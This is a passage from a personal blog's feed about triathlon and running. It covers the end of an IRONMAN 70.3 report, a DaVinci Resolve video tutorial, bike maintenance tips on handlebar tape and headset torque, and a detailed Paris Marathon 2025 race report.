&lt;figcaption&gt;Run leg&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;It took me 1 hour, 40 minutes, and 41 seconds to complete the half-marathon, with a pace of 4'42"/km (pit stop included!).&lt;/p&gt;
&lt;p&gt;The whole race: 5 hours and 58 seconds.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/aftermath.jpg" alt="Photo of us four the next Monday" /&gt;
&lt;figcaption&gt;Us four celebrating with our medals&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I am absolutely delighted! I loved every second of the race. And being with friends and family made it even more special. I can't wait to do it again!&lt;/p&gt;
&lt;p&gt;Next time, I need to put on anti-chafing cream between my legs. The aero position and the thin chamois led to a lot of chafing in my pelvic area.&lt;/p&gt;
&lt;p&gt;Next time, I shall also eat more for breakfast and/or bring food to eat an hour before the race begins, like a slice of Gatosport. I can't eat so early before a race; I guess my body digests food quickly.&lt;/p&gt;
&lt;p&gt;Anyway, this concludes a lengthy article about my very first IRONMAN 70.3! 🏅&lt;/p&gt;
&lt;h2 id="lessons-learned"&gt;Lessons learned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Eat something an hour before the start.&lt;/li&gt;
&lt;li&gt;Practice longer, uninterrupted swim sessions to improve endurance and avoid cramps.&lt;/li&gt;
&lt;li&gt;No aero calf sleeves.&lt;/li&gt;
&lt;li&gt;Faster T1: practice removing the wetsuit.&lt;/li&gt;
&lt;li&gt;Fasten the rear-mounted bottle securely.&lt;/li&gt;
&lt;li&gt;Eat exactly 90 grams of carbs per hour on the bike, not more. Likewise, avoid drinking too much water.&lt;/li&gt;
&lt;li&gt;Carry plain water behind the saddle and energy drinks on the frame.&lt;/li&gt;
&lt;li&gt;Use anti-chafing cream between the legs.&lt;/li&gt;
&lt;li&gt;Don't stop for a fallen water bottle.&lt;/li&gt;
&lt;li&gt;Loosen elastic shoelaces.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Running"></category><category term="ironman"></category><category term="bike"></category><category term="cycling"></category><category term="running"></category><category term="triathlon"></category></entry><entry><title>Tuto Davinci Resolve: Dynamic Short on Running</title><link href="https://romainpellerin.eu/tuto-davinci-resolve-dynamic-short-on-running.html" rel="alternate"></link><published>2025-05-24T23:20:00+02:00</published><updated>2026-03-02T23:16:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-05-24:/tuto-davinci-resolve-dynamic-short-on-running.html</id><summary type="html">&lt;p&gt;How to create a nice short video about a running event using Davinci Resolve&lt;/p&gt;</summary><content type="html">&lt;video controls&gt;
  &lt;source src="./videos/paris-marathon-2025.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h1 id="vertical-format"&gt;Vertical format&lt;/h1&gt;
&lt;p&gt;Tick "Use vertical resolution". Prefer 4K instead of 1080p, unlike in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Davinci Resolve" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-running/1.png"&gt;&lt;/p&gt;
&lt;h1 id="color-management"&gt;Color management&lt;/h1&gt;
&lt;p&gt;Based on your source material but also the destination platform (Youtube, Instagram), you may want to export in SDR (Rec.709), as HDR is not always supported.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Davinci Resolve" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-running/2.png"&gt;&lt;/p&gt;
&lt;h1 id="create-a-compound-video"&gt;Create a compound video&lt;/h1&gt;
&lt;p&gt;Select all of your video elements in the Media Pool, and group them in a new timeline. Later, we will apply video effects on the entire compound video.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Davinci Resolve" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-running/3.png"&gt;&lt;/p&gt;
&lt;h1 id="for-each-clip-of-the-compound-video"&gt;For each clip of the compound video&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Sync the duration of each clip with the background song. Ideally, clip transitions should occur one frame before the next music beat, not earlier. Videos on social media are watched on a phone, so the distance "phone to ears" is short, no need to compensate like you'd do for videos meant for TV, where two frames ahead of the beat is often better for transitions.&lt;/li&gt;
&lt;li&gt;No need to mute each individual clip, as the compound video will be muted in the timeline.&lt;/li&gt;
&lt;li&gt;For static images: apply zoom-in effects and changes in the position, to add dynamism. You'll find these in the "Video" tab. Use 2 keyframes (red dots in the screenshot): one on the first frame, one on the last&lt;/li&gt;
&lt;li&gt;For videos: zoom-in and position effects should be used too. Changing the position throughout the clip can help shift the focus from one element to another, from one person to something, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Screenshot of Davinci Resolve" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-running/4.png"&gt;&lt;/p&gt;
&lt;h1 id="final-cut-in-the-main-timeline"&gt;Final cut in the main timeline&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Add your compound video to the timeline, and mute its audio track.&lt;/li&gt;
&lt;li&gt;Add your background song to the timeline.&lt;/li&gt;
&lt;li&gt;In "Color" at the bottom of the screen, find the "RGB Mixer" and select "Monochrome".&lt;/li&gt;
&lt;li&gt;Add effects on the compound video:&lt;/li&gt;
&lt;li&gt;"Camera Shake": play around vith the values but make it subtle, not too shaky&lt;/li&gt;
&lt;li&gt;"Film Damage": same, make it subtle. Disable the Scratch effect.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="Screenshot of Davinci Resolve" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-running/5.png"&gt;
&lt;img alt="Screenshot of Davinci Resolve" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-running/6.png"&gt;
&lt;img alt="Screenshot of Davinci Resolve" src="https://romainpellerin.eu/images/tuto-davinci-resolve-short-running/7.png"&gt;&lt;/p&gt;
&lt;p&gt;That's it! Ready to export.&lt;/p&gt;
&lt;style&gt;
video {
  display: block;
  margin: auto;
  width: 50%;
}
&lt;/style&gt;</content><category term="Video editing"></category><category term="davinci resolve"></category><category term="running"></category></entry><entry><title>Comment Changer Une Guidoline</title><link href="https://romainpellerin.eu/comment-changer-une-guidoline.html" rel="alternate"></link><published>2025-05-16T11:00:00+02:00</published><updated>2025-05-16T11:00:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-05-16:/comment-changer-une-guidoline.html</id><summary type="html">&lt;p&gt;Une vidéo qui explique bien comment faire&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/i8UKt3D9_yA" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="tips"&gt;Tips&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Commencer par le bas des cocottes, de l'extérieur vers l'intérieur du guidon par le haut (comment montré dans la vidéo).&lt;/li&gt;
&lt;li&gt;Attention au sens de la guidoline s'il y a le logo de la marque. Souvent il y a un sens pour que le logo soit visible à chaque tour autour du guidon.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/guidoline.jpg" alt="Photo d'un guidon avec une nouvelle guidoline" /&gt;
&lt;figcaption&gt;À gauche : mal fait. À droite : bien fait, dans le bon sens, logo visible.&lt;/figcaption&gt;
&lt;/figure&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="cycling"></category><category term="handlebar tape"></category><category term="guidoline"></category></entry><entry><title>The Headset of Carbon Bikes</title><link href="https://romainpellerin.eu/the-headset-of-carbon-bikes.html" rel="alternate"></link><published>2025-05-05T23:30:00+02:00</published><updated>2025-05-05T23:30:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-05-05:/the-headset-of-carbon-bikes.html</id><summary type="html">&lt;p&gt;Some tips for your carbon steerer tube&lt;/p&gt;</summary><content type="html">&lt;p&gt;Installing a headset on a carbon road bike can be tricky. Or simply fixing some play and re-aligning the handlebar. So here are some useful tricks that I recently learned while removing play on my own carbon bike.&lt;/p&gt;
&lt;p&gt;First things first, pretty much everything is summed up in this video below:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/_R9XwPMw2WA" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Now, a couple of things to consider:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A steerer tube means &lt;em&gt;pivot de fourche&lt;/em&gt; in French (that one is a reminder for my future self)&lt;/li&gt;
&lt;li&gt;The headset bearings are preloaded (adjusted) by tightening a top cap bolt that pulls upwards on an anchor inside the steerer tube (either a star nut for metal steerers or an expansion/compression plug for carbon steerers). This is what prevents play.&lt;/li&gt;
&lt;li&gt;In addition to helping preload the headset bearings, a compression plug serves to counter the tension from the stem bolts on the steerer tube. In other words, it "reinforces" the carbon steerer tube against the stem's clamping force.&lt;/li&gt;
&lt;li&gt;When uninstalling a headset, start by unscrewing the top cap, then the 2 stem bolts, and finally the compression plug, that is hidden inside the steerer tube&lt;/li&gt;
&lt;li&gt;When reinstalling everything, start by tightening the compression plug, then the top cap on top of it, and finally the 2 stem bolts.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The max torque to apply to each bolt is usually written on the components themselves. If not, manufacturers usually provide online documentation. For my 2019 Cube Attain GTC Pro, they are not written on the components, but I found &lt;a href="https://file.cube.eu/azwesc1xfg346/media/d4/dd/c4/1658483844/Torque_Settings.pdf?ts=1658483844"&gt;this PDF&lt;/a&gt;. It does not 100% match my bike but here are the forces I've applied:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Compression plug: 6 Nm.&lt;/strong&gt; When asking Gemini, it recommends 5 to 8 Nm. In the PDF above-mentioned, under Others &amp;gt; Aheadset - Conical clamp I see 7-8 Nm.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Top cap: 6 Nm.&lt;/strong&gt; In the PDF, there is no mention of that.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stem bolts: 5.5 Nm.&lt;/strong&gt; Gemini recommends 4 to 6 Nm. In the PDF, under Stem &amp;gt; Syntace &amp;gt; Fork I get a few numbers, but 8 Nm is the smallest maximum torque.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's it!&lt;/p&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="cycling"></category></entry><entry><title>Marathon de Paris 2025: Race Report</title><link href="https://romainpellerin.eu/marathon-de-paris-2025-race-report.html" rel="alternate"></link><published>2025-04-23T00:30:00+02:00</published><updated>2025-04-24T22:45:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-04-23:/marathon-de-paris-2025-race-report.html</id><summary type="html">&lt;p&gt;What a great race! Here's my story.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Another race in the books! 🎉 Alright, let me tell you all about it.&lt;/p&gt;
&lt;h1 id="goals"&gt;Goals&lt;/h1&gt;
&lt;p&gt;It's always best to have multiple goals going into a race, just in case something goes wrong and the main goal becomes unreachable. So here were mine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My main goal was to maintain an average pace of 4'30"/km on the watch. The real/official pace reported on the certificate after the race is always a few seconds slower. So 4'30" would translate to ~4'33"/km real pace.&lt;/li&gt;
&lt;li&gt;My secondary goal was to finish under 3h15'.&lt;/li&gt;
&lt;li&gt;My third goal was to PR (personal record) and beat &lt;a href="https://romainpellerin.eu/mon-premier-marathon-recit-d-une-course-parfaite.html"&gt;my previous time&lt;/a&gt; (3h27').&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To be honest, I knew before starting that my main goal was a little unrealistic. I was going to set that pace on my watch and try to hold it, despite the many ups and downs of the course. The total elevation of that marathon is nearing 300 meters, so very challenging.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/profile.jpg" alt="Graph showing the profile of the course" /&gt;
&lt;figcaption&gt;Profile of the course&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;My secondary goal had been my main goal for a while until I settled on a target pace of 4'30"/km, which then became my main goal. Anyway... This meant a 12-minute improvement over my personal record, which was 3h27'. Quite significant!&lt;/p&gt;
&lt;h1 id="training"&gt;Training&lt;/h1&gt;
&lt;p&gt;I signed up for the Paris Marathon exactly a year ago, but I did not start training specifically for it until early January this year. After my first marathon in October last year, I took November off from running and slowly eased back in over the month of December.&lt;/p&gt;
&lt;p&gt;I created a 14-week training plan using the app "Kiprun Pacer" by Decathlon, the same app as for my first marathon in Dresden. I mostly stuck to it and hardly skipped any session. I only missed a few in the last week of January since I went skiing. During that week, I also swapped intervals with a slow jog. The first week of February, I caught COVID but I did not skip any session. It's probably stupid but it did not seem to hinder my healing. 🤷 Symptoms lasted about 6 days. They were pretty mild.&lt;/p&gt;
&lt;p&gt;The plan created by Kiprun comprised of 4 sessions a week. Most weeks looked like this: one short easy jog, one run at marathon pace, one session with intervals, and one long run. The weeks were grouped in multiple blocks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The first week was an evaluation week, which ended with a &lt;a href="https://www.scienceforsport.com/maximal-aerobic-speed-mas/"&gt;MAS&lt;/a&gt; test.&lt;/li&gt;
&lt;li&gt;Then came the ramp-up block.&lt;/li&gt;
&lt;li&gt;Then came the MAS block, aimed at improving my max speed/MAS. It was concluded with another MAS test to assess improvement since the beginning of the training plan. Spoiler: this one turned out to be slightly slower that my first, a few weeks earlier 😅.&lt;/li&gt;
&lt;li&gt;Then, a marathon pace-specific block. I think it was 4 weeks long.&lt;/li&gt;
&lt;li&gt;And finally, a 3-week taper (a.k.a. sharpening).&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/kiprun.png" alt="Screenshot of the app Kiprun Pacer" /&gt;
&lt;figcaption&gt;The plan, on Kiprun Pacer&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;In addition to the 4 sessions per week scheduled by the app, I added a fifth session every week. A short (&amp;lt; 60 mins) and slow (not faster than 5'20"/km) jog, run with barefoot/minimalist shoes (Altra Escalante Racer 2), aimed at strengthening my legs and feet without risking injury.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/90kms.jpg" alt="Screenshot of the weekly kms on Strava" /&gt;
&lt;figcaption&gt;Weekly kms until 3 weeks away from race day&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;So a typical week would look like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Monday: jog, sometimes with active (i.e. faster) segments&lt;/li&gt;
&lt;li&gt;Wednesday: marathon pace&lt;/li&gt;
&lt;li&gt;Thursday: jog with barefoot shoes&lt;/li&gt;
&lt;li&gt;Friday: intervals&lt;/li&gt;
&lt;li&gt;Sunday: long run&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On top of running, I was swimming on average once a week (between 1,000m and 2,000m), commuting 40 kms per week by bike to work, and would add one bike tour on Saturdays from time to time. From March onwards, I also added one or two sessions of home trainer per week (&amp;lt; 45 mins each session). I had pretty full weeks!&lt;/p&gt;
&lt;p&gt;February was a very challenging month, with temperatures very often dropping below zero degrees Celsius and almost 3 weeks of snow that stayed on the ground, which made it very icy and slippery!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/snow.jpg" alt="Snow on a running track" /&gt;
&lt;figcaption&gt;The track I run on, under snow&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;But overall, these 14 weeks went by pretty fast. I suffered absolutely no injury. My motivation remained high &lt;a href="https://romainpellerin.eu/last-three-weeks-leading-to-the-paris-marathon.html"&gt;until the last month or so before the race&lt;/a&gt;, during which I "failed" a couple of sessions, which had a pretty massive impact on me. Fortunately, that did not last long, and I regained motivation during the tapering phase. All in all, I'd say this was a near-perfect preparation.&lt;/p&gt;
&lt;h1 id="pre-race"&gt;Pre-race&lt;/h1&gt;
&lt;h2 id="carb-loading"&gt;Carb loading&lt;/h2&gt;
&lt;p&gt;Carb loading went pretty smoothly. Like last time, (almost) no vegetables, more carbs, less fruits, and less fat from Thursday onward. Potatoes, white pasta, rice, bread, eggs, maltodextrin... that was my diet. Increased calorie intake on Thursday and Friday, (almost) back to normal on Saturday.&lt;/p&gt;
&lt;h2 id="travel"&gt;Travel&lt;/h2&gt;
&lt;p&gt;As the race was held in Paris, we decided to fly there instead of riding a train as we usually would do, to avoid being seated for hours. We flew in on Thursday after work and had Friday off work. We decided to go get our bib numbers on Friday so as to avoid the Saturday crowd.&lt;/p&gt;
&lt;h2 id="hotel"&gt;Hotel&lt;/h2&gt;
&lt;p&gt;We stayed with family from Thursday until Saturday afternoon and only booked a hotel for the night from Saturday to Sunday. We booked &lt;a href="https://www.hotelduette.com/en/"&gt;a very nice hotel&lt;/a&gt; in the 8th arrondissement, only 2 kms away from the starting line. That would be perfect for warming up on Sunday morning. The surrounding area was really nice. Despite staying on the first floor, street side, the street turned out to be very quiet at night, being a narrow one-way street.&lt;/p&gt;
&lt;p&gt;Apparently, most hotels in Paris leave one room for runners to shower after the marathon. Ours was no exception. Not only were we allowed to check out at 1pm, but we could use a shower from a ground-floor room all afternoon. This was perfect!&lt;/p&gt;
&lt;h2 id="friday-the-expo-run-experience"&gt;Friday: the expo (Run Experience)&lt;/h2&gt;
&lt;p&gt;Friday was expo day. We went there in the late afternoon. Damn, the place was HUGE. Probably the biggest expo I've ever been to. Decently crowded, a few queues of people here and there to take photos, but overall well organized. We got our bib numbers and runner's kits in no time, then we went on to enjoy the rest of the expo, which they call the "Run Experience".&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/run-experience.jpg" alt="Photo taken at the expo" /&gt;
&lt;figcaption&gt;Anthony Frontera and me&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;We saw and sometimes met a few known influencers/athletes and spent time browsing the many stands held by the sponsoring brands, such as Decathlon Kiprun, Garmin, Asics, Campus Coach, etc.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/run-experience-medal.jpg" alt="Photo taken at the expo" /&gt;
&lt;figcaption&gt;Me in front of the medal we would get as finishers, scaled up of course&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;We took a few obligatory souvenir photos. All in all, we spent 3.5 hours there. After that, it was time to go home and get some rest!&lt;/p&gt;
&lt;h2 id="saturday"&gt;Saturday&lt;/h2&gt;
&lt;p&gt;I woke up after a pretty good night. I slept for about 8 hours, which was an improvement compared to the nights before. I had had trouble falling asleep in that week, because of stress building up, but luckily the second to last night before the race was pretty good. Lights were out around 23:15 on Friday and I managed to wake up just after 8 am on Saturday.&lt;/p&gt;
&lt;p&gt;Saturday morning was the shake-out run. A 25-min run, at 5'43"/km. Nice and easy.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/race-predictor.jpg" alt="Garmin race predictor" /&gt;
&lt;figcaption&gt;My Garmin was predicting a theoretical run time of 3h05'35" for a marathon, not bad. But I was going to aim for more time anyway.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;After that last run, I took some time to reflect back upon the entire training plan and how it went. I realized that this time, I had suffered no injury at all. In the last few days (or last 2 weeks maybe), a slight discomfort had appeared in my left ankle, probably because of the ever-so-increased training load. I did not even feel it while running, only when resting at times. And the same for my right knee, a slight discomfort was present. I would not categorize them as pain or injury at all. The 90 kms I ran in a week just a couple of weeks earlier were probably the cause of that... But as I am writing these lines, a week after the marathon, everything is gone, no discomfort anymore!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/gear.jpg" alt="Clothes" /&gt;
&lt;figcaption&gt;Everything ready before bedtime&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The rest of the day was spent checking in to the hotel, then seeing an old friend at a cafe and another friend for dinner, and lastly preparing everything for Sunday. Lights were out just before 23:00.&lt;/p&gt;
&lt;h2 id="sunday-morning"&gt;Sunday morning&lt;/h2&gt;
&lt;p&gt;My recipe for a great race day breakfast? Muesli from LIDL, soya milk, Maurten Drink Mix, (half?) a banana, and a big bite of Gatosport cake (~1/4 of the whole cake - not on the photo below).&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/breakfast.jpg" alt="Breakfast" /&gt;
&lt;figcaption&gt;A breakfast to run fast&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;After that, I got fully dressed, went to the toilet one last time, wrote where to find aid stations on my hand using a Sharpie, packed an old phone and a jacket in my backpack, and I was ready to roll!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/aid-stations.jpg" alt="Sharpie notes in my hand" /&gt;
&lt;figcaption&gt;Aid stations km points&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I headed out to the bag drop-off area first. I ran most of the distance (2 kilometers) from the hotel to there. I got there in a little over 10 minutes around 7:55. My start pen (3h15) was leaving at 8:15. Upon getting there, I realized that the bag drop-off was much farther away from the Arc de Triomphe than I thought. It was like 500 meters down Avenue Foch. I started running towards it, but the street was packed, and I quickly understood I would not make it there in time for my start pen. I needed to go through security checks before entering the area to drop my bag and then would have to go back to the Arc de Triomphe, before going down the Champs Elysées to enter my pen. I decided to stop rushing and start in the 3h30 pen.&lt;/p&gt;
&lt;p&gt;I called friends that were nearby and we met at the bag drop-off. They were in the 3h30 start pen, which was supposed to start at 8:24. They too realized that the clock was ticking, and we all started to jog towards the start pens.&lt;/p&gt;
&lt;p&gt;15 minutes before the race, I ate a Maurten gel. Then we split up just before the start. There were porta-potties IN the pens, as well as urinals. Very convenient! I took a last piss 2 minutes before starting, one last sip of water, threw away my bottle, and boom! off we all went!&lt;/p&gt;
&lt;h1 id="race"&gt;Race&lt;/h1&gt;
&lt;p&gt;The conditions were not perfect but good nonetheless. Cloudy yet no rain, no direct sunlight, 13 degrees Celsius. However, it was a bit humid, as it had rained a few hours before. And it was a little windy.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/paris-marathon-2025-map.jpg" alt="Map of the course" /&gt;
&lt;figcaption&gt;The map of the course&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;50 meters after starting, I remember asking myself "what am I doing here?" 😂, realizing I had 42 kms to go...&lt;/p&gt;
&lt;p&gt;I made sure not to start too fast. My first kilometer was actually 2 seconds too slow, but I'll blame it on the big pack I was running in.&lt;/p&gt;
&lt;p&gt;Place Vendôme, Rue de Rivoli, beautiful Le Louvre. I remember the beginning very well. At Km 5, a friend was watching from the curb. I spotted him from a distance and high-fived him. That did put a big smile on my face.&lt;/p&gt;
&lt;p&gt;We got to La Bastille. There were thousands of spectators, it was crazy! They were shouting, clapping, waving at runners! Unbelievable atmosphere. First ascent towards Nation, another big pack of spectators, and we were finally out of Paris, in Bois de Vincennes. There, it got quiet, almost silent. Few spectators. I could hear people around me breathing, some very loudly.&lt;/p&gt;
&lt;p&gt;I had a bit of pain at some point, around km 18, that fortunately did not last. It was under the forefoot of the right foot, because I believe my shoe was not tightened enough, laces not fastened enough. So there was a bit of room around my foot, it was a little loose, and my foot was sort of smashing the ground at times, hence the pain. But besides a tiny blister under the foot (that I noticed after the race), nothing. And I quickly forgot about that.&lt;/p&gt;
&lt;p&gt;Km 21, half marathon reached! As always I told myself, "halfway through, let's go home now." Mentally, it got easier from there on (for a while at least 😁).&lt;/p&gt;
&lt;p&gt;Around km 25, I noticed a girl named Sophia that had been running close to me for about 10 kms or so. Like, the exact same pace. I knew her name because a lot of spectators cheered us on using our names, as they were written on our bibs. I went on to talk to her. We realized we had the same goal, sub 3h15. We chatted a couple of minutes and decided to stick together.&lt;/p&gt;
&lt;p&gt;Then things became harder...&lt;/p&gt;
&lt;p&gt;The first tunnel was at km 28. Our first tunnel. 1 km long. Flat but stuffy air. I knew that one by heart, as I used to commute every day by bike through it 6 years ago, back when I was living in Paris. The first tunnel of a long list (4 or 5). The following ones, albeit shorter, were not flat. Descending then going up. As we were getting closer to the Eiffel Tower, I asked Sophia how she was doing. She said it was getting harder. I remember telling her to enjoy the scenery, because I had just noticed the Eiffel Tower. To be fair, I had stopped paying attention to my surroundings a long time ago, way too focused on my run. I completely missed Notre Dame, for instance.&lt;/p&gt;
&lt;p&gt;As we were entering one of the last tunnels, I saw the km 30 mark. I did some quick math in my head: "we're running faster than 12 km/h, sooo... we'll be done in less than an hour!" I shared the good news with Sophia, but she did not seem to enjoy it as much as I did 😅. That was the last time I saw her... I lost her in the tunnel, as I was making my way past slower people on the steep way out of the tunnel.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/marathon-de-paris-2025-hr.png" alt="Heart rate on Strava" /&gt;
&lt;figcaption&gt;Very stable heart rate until km 30&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I had multiple side stitches (like 3 or 4 times throughout the race), especially in the second half of the race. Some would come and go away immediately, some would last longer. One lasted about 2 kms. That was really painful and had me slow down a bit. Emptying my lungs fully or contracting my abs like crazy would usually help and make them go away. Not sure whether those were lung-related or stomach-related.&lt;/p&gt;
&lt;p&gt;Km 31, Pont de Bir Hakeim, that was CRAZY. Massive crowd, felt like a Tour de France stage, going up a mountain pass. So many people that the street had become very narrow. It was less than 2 meters wide, barely enough for us to run. I was running centimeters away from spectators, as I was overtaking runners. I would even sometimes touch them or their cardboard signs. Everyone shouting. INSANE. Very motivating!&lt;/p&gt;
&lt;p&gt;In total, I ate 7 Maurten gels during the race, spaced out by 4 or 5 kms (~20 minutes). I planned for 8 but skipped one towards the end, as I did not feel any need for it and my side stitches were intensifying. However, I grabbed 1 or 2 water cups at every aid station, except at the one at km 37, where I failed to grab a cup twice. One slipped through my hand, and the other one I could not grab because of people around me - because I made it a point to never slow down for water. 🙈&lt;/p&gt;
&lt;p&gt;Kms 34 to 40 went through the 16th arrondissement and Bois de Boulogne. It's basically a looooong climb (a sequence of flats and short climbs) with few spectators. Very demanding on the legs. A lot of people were walking or stopped on the side. Some were yelling in pain, probably because of cramps.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/marathon-de-paris-2025-splits.png" alt="Splits on Strava" /&gt;
&lt;figcaption&gt;My splits, km by km&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;And finally, the last 2 kilometers. I told myself to go all in, but I couldn't, my legs were too tired. I was only able to maintain the pace. The crowd around us was growing again, as we exited Bois de Boulogne. One last massive ascent towards Trocadéro and then Place Victor Hugo. Then, we went down Avenue Hubert Germain. There were giant screens on both sides of the street, flashing green with messages like "500 meters to go!!!" Brilliant! People were slapping the fences with their hands like a Tour de France stage finish. I could not hear myself running anymore!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/last-turn.jpg" alt="Me running" /&gt;
&lt;figcaption&gt;Last turn before the finish line&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;And finally, the very last turn. Km 42. 195 meters to go!!! I did put on my best face for the photo 😆. Last few meters... I raised my arms up in the air aaaaaannnd we were done!!!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/finish-line.jpg" alt="Me running" /&gt;
&lt;figcaption&gt;Finish line&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;What a race!!! 3h12'42". Personal Record!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/marathon-de-paris-2025/official-results.png" alt="Official results" /&gt;
&lt;figcaption&gt;Ranking and time&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="post-race"&gt;Post-race&lt;/h1&gt;
&lt;p&gt;After crossing the finish line, I had to stop a few minutes to catch my breath and let my body recover. I waited about 2 minutes and then saw Sophia cross the line too. We congratulated each other, and then I made my way out. Grabbed my medal, drank plenty of water, ate loads of food, got my bag back, and I was out.&lt;/p&gt;
&lt;p&gt;My right knee was sort of lightly swollen for 2 days afterward, and it would be painful when I'd crouch. Then it went away. Maybe the right knee is a bit weaker than the other one? Or my strides are not exactly the same on either side? As I wrote earlier in this article, I had a niggle there before the race. But besides this, ABSOLUTELY no injury! 🎉&lt;/p&gt;
&lt;p&gt;With hindsight, I will better plan next time how to get to the bag drop-off, as this got quite stressful when I realized it was much farther away than I anticipated it, and that I would not make it in time to my start pen as a result.&lt;/p&gt;
&lt;p&gt;But overall, I am EXTREMELY happy with my training and my race. My Garmin pace is 4'31"/km, so I missed my primary goal by 1 second but hit the other goals. I feel like I've got room for improvement, like I haven't yet reached my maximum potential.&lt;/p&gt;
